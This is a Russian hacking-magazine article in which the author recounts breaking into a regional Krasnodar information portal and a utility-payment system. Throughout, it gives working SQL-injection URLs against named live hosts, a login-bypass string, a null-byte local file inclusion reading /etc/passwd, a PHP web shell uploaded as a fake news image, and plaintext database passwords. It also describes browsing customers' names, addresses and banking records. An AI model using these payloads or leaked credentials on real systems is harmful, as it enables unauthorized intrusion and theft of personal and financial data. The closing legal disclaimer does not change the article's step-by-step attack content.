Коммунальный райМаг (icq 884888)Хакер, номер #107, стр. 107-070-1 Развал ЖКХ по-хакерскиЗдравствуй, мой незнакомый друг! Хочу тебя спросить кое о чем. Ты исправно оплачиваешь коммунальные услуги, которые нам любезно предоставляет государство? А веришь ли ты в то, что все твои данные - сколько, когда, зачем и чего ты израсходовал - находятся в безопасности? Закрадываются сомнения? Я тоже засомневался после своего очередного взлома. Летс гоу! СерфингКак-то раз, бродя по бескрайним просторам инета, я наткнулся на некий «Информационный портал Краснодарского края» - http://kuban.info. Мой пронырливый взгляд не задержался бы на этой заурядной страничке надолго, если бы я не увидел баннер сайта неизвестной мне ранее платежной системы qp, находившейся по адресу http://qp.ugts.ru. От нечего делать я решил его немного поизучать. Платежка была очень интересной. Здесь можно было оплачивать коммунальные услуги, штрафы ГИБДД, телефон, налоги и прочую ерунду. Оплата происходила несколькими способами: по sms, через платежный терминал (у этой самой «КуПи» есть и такое чудо), банковским переводом или специальной картой предоплаты. Причем на самом сайте существовала система регистрации пользователей, из чего я сделал вывод, что в базе данных платежки может находиться очень много интересной инфы :). Итак, не откладывая дело в долгий ящик, я принялся за взлом. Начало поисковСначала, как обычно, я залез на незабвенный domainsdb.net и выяснил там, что kuban.info и ugts.ru находятся на одном серваке :). Первым делом моим жестоким экспериментам подвергся ugts.ru. После недолгого вбивания кавычек во всевозможные параметры первая SQL-инъекция была найдена. На запрос «https://ugts.ru/info/service/ipphone/?card_type=129007'» Опера сказала мне, что на взламываемой машине стоит PostgreSql: Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character 183 in /var/midgard/preparser/ugts/6-1638-92.php on line 523 Warning: pg_num_rows(): supplied argument is not a valid PostgreSQL result resource in /var/midgard/preparser/ugts/6-1638-92.php on line 524 Эта информация меня, конечно же, обрадовала, я даже стал мучаться с запросами типа: https://ugts.ru/info/service/ipphone/?card_type=129007+union+select+1,TABLE_NAME,3,4+from+INFORMATION_SCHEMA.TABLES'-- Но мне это быстро надоело, так как данные в INFORMATION_SCHEMA были неисчерпаемы, а я выудил только некоторые названия таблиц: branch_group branch_request calls camera_lock card_cnt card_type_cnt cart change_log change_log_details check_constraint_routine_usage check_constraints column_domain_usage column_privileges column_udt_usage columns После небольшого молодецкого секса с предыдущей инъекцией я стал копаться в другом баге, заинтересовавшем меня по понятным причинам словом card :). https://ugts.ru/info/service/ipphone/?card_type=129007+union+select+1,COLUMN_NAME,3, 4+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='card_type_cnt' and COLUMN_NAME>'id'-- Таким образом я выудил названия полей таблички: card_type id locked login password payed_by sold_to Но в самой таблице абсолютно ничего не было :(. Про дуршлагОбнаружив эти вопиющие дыры, я из спортивного интереса решил найти такую инъекцию, с которой не надо было бы долго мучаться и которая выводила бы в цикле сразу всю информацию. И вскоре такая дырка была найдена! http://kuban.info/games/mp3/?t=1+union+select+1,TABLE_NAME,to_char(3,222), 'http://../../../../etc/hosts',333,'444'+from+INFORMATION_SCHEMA.TABLES--&p=195 Вместо mp3’шек выводятся таблички :). А дальше я вообще удивился. Мало того, что столь серьезный проект дыряв, как мои старые носки, SQL-инъекции встречаются на каждом шагу (и еще одна: http://live.kuban.info/'), так я еще и удачно попал на время проведения каких-то работ на серваке, в результате чего просто пройдя по ссылке ugts.ru, можно было лицезреть следующее: //$qp_connstr="dbname=kubinfo_adds user=ugts host=base password=_lfqntltytu"; $qp_connstr="dbname=qp user=ugts host=1.1.1.3 password=_lfqntltytu"; $qp_conn=pg_connect($qp_connstr); //$connstr="dbname=sat_kurort user=sat_kurort host=base password=ep5Jai5Ei"; $connstr="dbname=ugts user=sat_kurort host=1.1.1.3 password=ep5Jai5Ei"; $conn=pg_connect($connstr); if (!$conn) header("Location: /error/?code=1"); Ну это ли не чудо? Логин и пароль от базы данных платежки в открытом виде! Они должны были пригодиться мне в дальнейшем, а пока нужно было любыми способами получить шелл... В поисках шеллаНемного погуглив на тему паблик-скриптов на сервере платежки, я нашел два phpbb-форума: Но, как это ни грустно, они были абсолютно непробиваемые (поделитесь кто-нибудь приватным сплоитом под 2.0.22 :)). Но уже ничто не могло меня остановить! После еще нескольких часов поиска я заметил неадекватную реакцию скрипта одного из поддоменов нашего сервера на запрос: http://deputat.kuban.info/?b=/http://http://etc/passwd Но запрос ничего полезного не дал. Не отчаявшись, я впихнул в конец ссылки null-байт (%00), и... результат ты можешь лицезреть на скриншоте :). Теперь локальный инклуд в запасе у меня был. Оставалось лишь загрузить куда-нибудь php-шелл... Вот за этим занятием я и провел оставшийся вечер и утро. Я внимательно изучал каждый поддомен... И вот на одном из них я увидел админку для добавления новостей на сайт: http://sr.kuban.info/admin Сразу же по старой привычке я ввел в поля с паролем и логином следующие значения: 1' or 1=1/* И оказался внутри админки :). Найти форму загрузки фотки к новости не составило труда. Только вместо фотографии, конечно же, был загружен php-файл с моим php-шеллом, который ты можешь найти на диске, прилагавшемся к сентябрьскому номеру журнала. Из-за временных глюков в админке новостей я быстро вычислил путь для моей псевдокартинки: /var/www/kubinfo/sr/newsimg/447.jpg Затем просто взял и заинклудил ее в найденный ранее уязвимый скрипт: http://deputat.kuban.info/?b=http://../../../var/www/kubinfo/sr/newsimg/447.jpg%00 И получилась очень эротичная страничка, которую ты можешь видеть на скриншоте. Базы! Как много в этом звуке...Я немного поизучал сервер и очень расстроился, когда увидел, что на нем находятся только два сайта - те самые пресловутые http://deputat.kuban.info и http://sr.kuban.info. Но они должны были иметь доступ к PostgreSQL-серверу основного сайта платежки 1.1.1.3. Тем более что в одном из конфигов сайта депутатов было следующее: $DB_HOST = '1.1.1.3'; $DB_USER = 'kubinfo'; $DB_PASS = ',lre,fybcns'; $DB_NAME = 'deputat_ki'; Для проверки надо было всего лишь найти скрипт, который может управлять базами такого типа. Им оказалась phpPgAdmin с сайта phppgadmin.org. Успешно слив его wget’ом и распаковав, я сразу же полез в базу данных через http://sr.kuban.info/newsimg/phpPgAdmin-4.1.1/ (скорее всего, когда ты будешь читать эту статью, скрипт там так и будет стоять :)). Передо мной стали медленно открываться таблицы платежки. Зайдя, к примеру, в operator, я увидел зареганных на портале предпринимателей: фирма «МИГО», «Седин-Снаб», «ЮгКабель», «ПАМИР-К» и другие со всеми данными, логинами и паролями. Со своих аккаунтов они продавали на сайте различную продукцию и устраивали аукционы. В других таблицах были логи по проданным картам предоплаты, отправленные sms, с помощью которых юзеры оплачивают услуги сайта, полная инфа по банковским счетам: реквизиты, кто, кому, за что и когда платил :). Но и это еще не все! В базе я обнаружил несколько таблиц, в которых были прописаны Ф.И.О., адрес и телефон тех людей, которые оплачивали коммунальные услуги, газ, свет, телефон через терминалы «КуПи»! Но разглашать эту информацию я не имею права :). Так что на этом пора заканчивать. Но подредактированный скриншот я все же предоставлю тебе как информацию к размышлению. ЭпилогЗакрыв от греха подальше браузер, я задумался. Если никто не заботится о нашей с тобой конфиденциальной информации, если даже крупная платежная система подвержена взлому, то кто должен думать обо мне, о тебе, кроме нас самих? Ни один из описанных багов не закрыт до сих пор вот уже на протяжении четырех месяцев. Я могу дать тебе только один совет: построй себе домик где-нибудь в лесу и живи там один в обнимку с ноутбуком, пока остальные люди будут находиться под колпаком у Большого Брата :). WWW
DANGERНе стоит забывать, что все действия хакера противозаконны, и эта статья предназначена лишь для ознакомления и организации правильной защиты с твоей стороны. За применение материала в незаконных целях автор и редакция ответственности не несут. INFOХодили слухи, что платежную систему qp больше года назад уже ломали и подняли на этом очень много денег. Но я тебе настоятельно рекомендую не связываться со взломом любых, даже самых дырявых платежек, поскольку это себе дороже. Содержание |